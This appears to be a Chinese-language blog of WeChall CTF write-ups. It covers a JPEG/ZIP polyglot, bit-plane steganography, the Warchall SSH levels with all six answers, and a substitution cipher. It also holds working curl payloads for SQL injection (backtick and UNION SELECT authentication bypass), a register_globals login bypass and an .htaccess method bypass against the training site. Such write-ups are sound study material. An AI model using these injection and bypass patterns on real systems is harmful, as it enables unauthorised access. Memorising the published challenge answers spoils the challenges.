Hello Navi

Tech, Security & Personal Notes

Challenge

"You got mail and a nice attachment." — 有一张附件图片,其中隐藏了 12 字母的 session-bound solution。

Solution

挑战页面提供了 attachment.php,下载后是一个 JPEG 图片(221x350)。

JPEG 尾部附着一个 ZIP 文件,其中包含 solution.txt。JPEG 和 ZIP 能共存于同一个文件是因为两者的解析方向不同:

1
2
JPEG:     从头读    → FF D9 后停止(尾部垃圾被忽略)
unzip: 从尾扫 → 找 EOCD 签名 PK\x05\x06 → 定位 ZIP 数据

JPEG 解码器遇到 End of Image marker FF D9 就结束处理,后面的数据不影响图片显示。

unzip 根本不依赖文件扩展名 —— ZIP 格式的 End of Central Directory (EOCD) 记录固定在文件的最后 22 字节unzip 打开文件后: 1. 从尾部往前搜索 EOCD 签名 PK\x05\x06 2. 读取 EOCD 中的中央目录偏移量 3. 跳到偏移量处,找到所有文件条目和压缩数据

所以只要文件尾部附着一个结构完整的 ZIP,unzip 就能识别,无论文件头是什么(JPEG、EXE、PDF 都一样)。man page 也写了自解压 ZIP(exe+ZIP)"as with any other ZIP archive" —— 同一机制。

unzip -l 确认 ZIP 内容:

1
2
3
4
5
6
7
$ unzip -l attachment.jpg
Archive: attachment.jpg
Length Date Time Name
--------- ---------- ----- ----
12 2011-01-08 14:17 solution.txt
--------- -------
12 1 file

直接解压:

1
2
3
$ unzip attachment.jpg
Archive: attachment.jpg
extracting: solution.txt

solution.txt 内容即为答案(session-bound,每用户不同)。

Challenge

IRC 频道 #wechall,每分钟有一人加入并说 "hi",服务器将消息发送给频道中所有人(包括发送者)。经过 0xfffbadc0ded 分钟后,总共发送了多少条 "hi" 消息?无人离开频道。

3 分钟的例子:

  • 第 1 分钟:第 1 人加入发 hi(1),服务器回发给 1 人(1)→ 2 条
  • 第 2 分钟:第 2 人加入发 hi(1),服务器回发给 2 人(2)→ 3 条
  • 第 3 分钟:第 3 人加入发 hi(1),服务器回发给 3 人(3)→ 4 条
  • 总计:2 + 3 + 4 = 9 条

Solution

第 k 分钟发送 k+1 条消息(1 条来自加入者,k 条来自服务器转发)。n 分钟的总和为:

1
total = 1 + 2 + ... + (n+1) = n(n+3)/2
1
2
3
4
5
6
>>> n = 0xfffbadc0ded
>>> n
17591026060781
>>> total = n * (n + 3) // 2
>>> total
154722098935564539692256152
154722098935564539692256152

Challenge

Stegano LSB 图像隐写。挑战页面提供一张 carrier.png,其中包含 12 个大写字母的隐藏信息。每 session 不同。

Solution

隐藏信息不在传统的 data-hiding LSB 中(zsteg 检测不到有效文本),而是通过 visual bit plane 方式嵌入:将字母写入某个 bit plane,肉眼查看该 plane 的图像即可读出。

遍历 8 个 bit plane × 3 个颜色通道后发现,字母出现在 绿色通道的 bit 2(0-indexed)中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image

img = Image.open('carrier.png')
w, h = img.size
pixels = list(img.getdata())

out = Image.new('L', (w, h))
out_pixels = []
for pixel in pixels:
# 取绿色通道 (index 1) 的 bit 2
val = (pixel[1] >> 2) & 1
out_pixels.append(255 if val else 0)
out.putdata(out_pixels)
out.save('bit2_green.png')

生成的 bit2_green.png 中,97% 以上像素为黑,仅 2-3% 的白点构成 12 个斜体大写字母。肉眼直接可读。

也可以从工具集一键扫描所有 bit plane:

1
$ uv run ~/ctf/tool/script/forensics/lsb_scan.py carrier.png

输出每个 bit plane 的白色像素占比,sparse(< 5%)的 plane 就是隐藏文本所在。

同样可以通过其他 stegano 工具发现:

  • Stegsolve(Java):Analyse → Bit Plane 逐层查看,绿色通道 bit 2 即可看到字母
  • Stegoveritasstegoveritas carrier.png 自动提取所有 bit plane,输出到 results/ 目录

关键点

  • 使用绿色通道的 bit 2(不是 bit 4),Steganabara 对应 mask=4(即 2^2)
  • 字母在 bit plane 图像中肉眼可见,白字黑底
  • zsteg 不适用——这不是 data-hiding,而是 visual plane 嵌入;zsteg 找的是 LSB 中编码的数据字节,而字母是直接画在 bit plane 上的
  • 答案 session-bound,每张 carrier.png 不同

Challenge

Warchall 入门挑战。在 WeChall 挑战页面注册 SSH 账号,然后 SSH 登录 Warchall 服务器(ssh -p 19198 <username>@warchall.net),完成 Level 0-5 六个初始关卡。答案以逗号分隔提交,格式为 Solution1,Solution2,Solution3,Solution4,Solution5,Solution6(对应 Level 0-5)。

Solution

SSH 登录后,关卡目录在 /home/level/,每关还有一个副本在 ~/level/(你的 home 目录下)。

Level 0 (/home/level/00_welcome/):

1
$ cat /home/level/00_welcome/README.md

Level 1 (/home/level/01_choice_tree/):

1
2
3
4
5
6
$ ls /home/level/01_choice_tree/
blue green README.md red
$ find /home/level/01_choice_tree/ -type f
/home/level/01_choice_tree/blue/hats/grey/solution/patience/SOLUTION.txt
...
$ cat /home/level/01_choice_tree/blue/hats/grey/solution/patience/SOLUTION.txt

在目录树中探索,选择 blue 路径(提示: "become a gray hat"),深入到 blue/hats/grey/solution/patience/SOLUTION.txt

Level 2 (/home/level/02/):

1
2
3
4
5
6
7
$ ls /home/level/02/
documents photos
$ ls -al /home/level/02/
drwxr-xr-x 2 root level02 4096 Jan 10 2023 documents
drwxr-xr-x 2 root level02 4096 Jan 11 2023 photos
drwxr-xr-x 2 root level02 4096 Jan 11 2023 .porb
$ cat /home/level/02/.porb/.solution

ls 看不到答案,用 ls -al 发现隐藏目录 .porb

Level 3 (/home/level/03/):

1
2
$ cat /home/level/03/.bash_history
The solution to SSH3 is: RepeatingHistory

读取 .bash_history 文件直接获得答案。

Level 4 (/home/level/04_kwisatz/):

1
2
3
4
5
6
7
$ cat /home/level/04_kwisatz/README.nfo
Look in your ~
$ ls -la ~/level/04_kwisatz/
---------- 1 <username> <username> 248 Jun 4 05:02 README2.md
-rw-r--r-- 1 <username> <username> 140 Jun 4 05:02 README.txt
$ chmod u+r ~/level/04_kwisatz/README2.md
$ cat ~/level/04_kwisatz/README2.md

README.nfo 提示看 home 目录。~/level/04_kwisatz/README2.md 权限为 ----------(无任何权限),但文件所有者是自己,用 chmod u+r 添加读权限。

Level 5 (/home/level/05_privacy/):

1
2
3
4
$ cat /home/level/05_privacy/README.md
# WAR#5: Privacy
Please protect your ~ from any other people than yourself.
The 5th solution is "OKPRIVATE" without the quotes.

README 直接给出答案。实际操作是用 chmod 700 ~ 保护 home 目录不被其他用户访问。

bitwarrior,patience,HiddenIsConfig,RepeatingHistory,AndOfCourseIDoKnowChown,OKPRIVATE

Challenge

在线投票系统,需要将任意候选人的票数设为 111。票数达到 100 会自动重置。有源代码。

Solution

源码中 noesc_voteup() 的关键漏洞:

1
2
$who = GDO::escape($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

$who 被直接插入到 SQL 的列名位置(反引号内)。GDO::escape() 只转义字符串值(引号等),但不转义反引号

防御代码仅检查了 $who 以 'id' 开头或含 '/',但未过滤反引号:

1
2
3
4
if ( (stripos($who, 'id') === 0) || (strpos($who, '/') !== false) ) {
echo 'Please do not mess with the id.';
return;
}

利用反引号注入闭合列名,用 -- 注释掉后面的 SQL:

1
2
$ curl -b 'WC=...' -g \
'https://www.wechall.net/en/challenge/no_escape/index.php?vote_for=scholz%60%3D111%20--%20'

URL 解码后 vote_for=scholz=111 -- `,执行的实际 SQL:

1
UPDATE noescvotes SET `scholz`=111 -- `=`scholz`=111 -- `+1 WHERE id=1

SET 子句被截断为 SETscholz=111,scholz 的票数直接设为 111。

Challenge

利用 PHP register_globals 漏洞。该挑战模拟了旧版 PHP register_globals=On 的行为:

1
foreach ($_GET as $k => $v) { $$k = $v; }

register_globals 启用时,GET/POST 参数会自动成为全局变量。目标是以 admin 身份登录。

提供了一个测试账号 test:test,但只能以用户 test 身份登录,无法登录 admin

挑战的核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }

# Send request?
if (isset($_POST['password']) && isset($_POST['username'])
&& is_string($_POST['password']) && is_string($_POST['username']))
{
$uname = GDO::escape($_POST['username']);
$pass = md5($_POST['password']);
$query = "SELECT level FROM ... WHERE username='$uname' AND password='$pass'";
$db = gdo_db();
if (false === ($row = $db->queryFirst($query))) {
echo GWF_HTML::error(...);
} else {
# Login success
$login = array($_POST['username'], (int)$row['level']);
}
}

if (isset($login))
{
echo GWF_HTML::message('Register Globals', 'Welcome back, ...');
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}

Solution

register_globals=On 的行为是将 GET/POST 参数直接提升为全局变量。代码中的 foreach ($_GET as $k => $v) { $$k = $v; }(variable variables)模拟了这一机制。

直接传入 login[0]=admin 构造 $login 数组:

1
2
$ curl -b 'WC=...' -g \
'https://www.wechall.net/en/challenge/training/php/globals/globals.php?login[0]=admin'

foreach ($_GET as $k => $v) { $$k = $v; }$_GET['login'] = ['admin'] 赋给 $loginisset($login)$login[0] === 'admin' 同时通过,挑战完成。userlevel 为空是因为绕过了数据库查询——没有真实用户被认证,但这不影响 flag 发放。

注意 URL 中的 [] 需要用 -g--globoff)防止 curl 解释为通配符。

Challenge

I try to secure my pages with .htaccess. Am I doing it right?

To prove me wrong, please access protected/protected.php.

挑战页包含两个链接:"my pages"(页面列表)和 ".htaccess"(源码)。

Solution

源码中的 .htaccess

1
2
3
4
5
6
7
8
AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic

<Limit GET>
require valid-user
</Limit>

关键漏洞:<Limit GET> 只限制 GET 方法。其他 HTTP method(POST、PUT、PATCH 等)不受限制。

直接用 POST 请求即可绕过:

1
curl -X POST https://www.wechall.net/challenge/wannabe7331/limited_access/protected/protected.php

如果用浏览器,也可以直接写一个 <form method="POST"> 提交到目标 URL,或者用 Burp Suite / HackBar 把 GET 改成 POST 重放。

Challenge

4-level regex training on WeChall. Each level requires the shortest possible regex pattern, submitted with delimiters (e.g. /pattern/).

Solution

Level 1 — match empty string: /^$/

Level 2 — match the string "wechall" exactly: /^wechall$/

Level 3 — match image filenames wechall.ext or wechall4.ext with valid extensions (jpg, gif, tiff, bmp, png):

1
/^wechall4?\.(?:gif|tiff|png|jpg|bmp)$/
  • 4? makes the 4 optional (wechall or wechall4)
  • (?:...) non-capturing group for the extensions (shortest possible)

Level 4 — same as L3 but capture the filename without extension:

1
/^(wechall4?)\.(?:gif|tiff|png|jpg|bmp)$/
  • (wechall4?) capture group returns wechall or wechall4

Challenge

MySQL Authentication Bypass II. Same as MySQL I, but with an additional password hash check. Your mission: Login yourself as admin. MySQL 认证绕过第二版。与 MySQL I 相同,但增加了密码哈希校验。目标:以 admin 身份登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();

$password = md5($password); # step A: hash the password
$query = "SELECT * FROM users WHERE username='$username'";

if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', 'Unknown user');
return false;
}

### NEW CHECK ###
if ($result['password'] !== $password) { # step B: compare hashes
echo GWF_HTML::error('Auth2', 'Wrong password');
return false;
}

if (strtolower($result['username']) === 'admin') { # step C: award points
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}

Solution

约束分析

MySQL I 的 admin' -- 在这里失效了,因为新增的密码校验:

  1. 密码先哈希$password = md5($password) 在查询之前执行,无法通过 SQL 注入绕过
  2. 查询结果校验$result['password'] !== $password 强制查询返回行的 password 列必须等于提交密码的 MD5

解法思路:既然我们需要控制查询返回的 password 值,用 UNION SELECT 自己构造一行即可。

注入点确认

username 直接拼接进 SQL,无任何过滤:

1
SELECT * FROM users WHERE username='<INJECTION>'

列数探测

users 表结构(来自源码注释):

1
2
3
4
5
CREATE TABLE IF NOT EXISTS users (
userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(32) NOT NULL,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
);

3 列:userid, username, password

构造 UNION 注入

选一个任意密码,计算其 MD5,然后用 UNION SELECT 构造一行包含 admin + 该 MD5:

payload 构造过程:

  1. 选密码 xmd5('x') = 9dd4e461268c8034f5c8564e155c67a6
  2. 用户名注入:
    1
    ' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' --
  3. 密码字段填:x

最终 SQL:

1
2
SELECT * FROM users WHERE username=''
UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- '

username='' 不匹配任何用户,UNION 的唯一一行就是 admin + 已知 MD5,完美通过 $result['password'] !== $password 检查。

提交

1
2
3
4
5
$ curl -sL 'https://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php' \
-b 'WC=...' \
--data-urlencode "username=' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- " \
--data-urlencode 'password=x' \
--data-urlencode 'login=Login'

返回 Welcome back, admin!,挑战解决。

Challenge

A simple monoalphabetic substitution cipher. The plaintext is a fixed 30-word sentence; only the password word (position 21, 12 letters) is dynamic per session. 简单的单表替换密码。明文是一个固定的 30 词句子,只有第 21 个词(12 个字母)是每 session 动态变化的。

1
2
3
4
5
6
Oh dear, I guess you have cracked the two caesar cryptos...
This one is more difficult. Although a simple substitution is easily cracked...
Again the characters are limited to A-Z... But I think I can come up with a 256 version again.

Enjoy!
SR ZBC UWJPKBZR KIH RID AUE QCUH ZBPN JR LQPCEH P UJ PJMQCNNCH TCQR YCWW HIEC RIDQ NIWDZPIE GCR PN MEESELIEACIP ZBPN WPZZWC ABUWWCEKC YUN EIZ ZII BUQH YUN PZ

Solution

这是一个 dynamic challenge — 每次加载页面都会生成新的密文,但明文句子的结构固定,只有密码词变化。解法是通过 known-plaintext matching 建立字母映射表。

步骤 1:确定已知词

把 30 个密文词列出来,用常见的短英语词来锚定:

1
2
3
4
5
6
7
8
 1: SR          2: ZBC         3: UWJPKBZR     4: KIH
5: RID 6: AUE 7: QCUH 8: ZBPN
9: JR 10: LQPCEH 11: P 12: UJ
13: PJMQCNNCH 14: TCQR 15: YCWW 16: HIEC
17: RIDQ 18: NIWDZPIE 19: GCR 20: PN
21: MEESELIEACIP 22: ZBPN 23: WPZZWC
24: ABUWWCEKC 25: YUN 26: EIZ 27: ZII
28: BUQH 29: YUN 30: PZ

WeChall Substitution I 的固定部分含有大量可识别的短词:

  • 第 2 词 ZBC (3 字母) → "the"(英语最常用词)
  • 第 1 词 SR (2 字母) → "by"(常见介词)
  • 第 5 词 RID (3 字母) → "you"
  • 第 6 词 AUE (3 字母) → "can"
  • 第 27 词 ZII (3 字母, 双写结尾) → "too"(仅有的几个双写 3 字母词之一)
  • 第 25/29 词 YUN (3 字母) → "was"(在句子中位置吻合)

步骤 2:推导映射

从第 2 词 ZBC → "the" 开始:

1
2
3
Z → t
B → h
C → e

第 5 词 RID → "you":

1
2
3
R → y
I → o
D → u

第 27 词 ZII → "too"(Z 已知 → t,II → oo,确认匹配):

1
I → o   ✓(与 RID 一致)

第 1 词 SR → "by":

1
2
S → b
R → y ✓(与 RID 一致)

不断重复——每匹配一个词就扩充映射表。29 个固定词的映射足以覆盖 A-Z 几乎所有字母。

步骤 3:解码密码词

第 21 词 MEESELIEACIP 是密码词。用已推导的映射逐字母解码即可得到 12 字母密码。

也可以直接用 subsolve 自动解:

1
2
3
4
5
6
7
8
9
$ ./target/release/subsolve "SR ZBC UWJPKBZR KIH RID AUE QCUH ZBPN JR LQPCEH P UJ PJMQCNNCH TCQR YCWW HIEC RIDQ NIWDZPIE GCR PN MEESELIEACIP ZBPN WPZZWC ABUWWCEKC YUN EIZ ZII BUQH YUN PZ"
Score: -567.73 (quadgram)
─────────────────────────────────────────────────────────────────
by the almighty god you can read this my friend iam impressed very well
done your solution key is pn nb nf once oi this little challenge was not
too hard was it
─────────────────────────────────────────────────────────────────
alt 2 (q: -1549.27): by the almighty god you can read this my friend i am impressed very well done yo...
alt 3 (q: -1557.21): by the almighty god you can read this my friend iam impressed very well done you...
pnnbnfonceoi

此密码为当前 session 动态值,其他 session 的密码需重新解码。方法不变——known-plaintext matching 或 subsolve tool 均可。

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE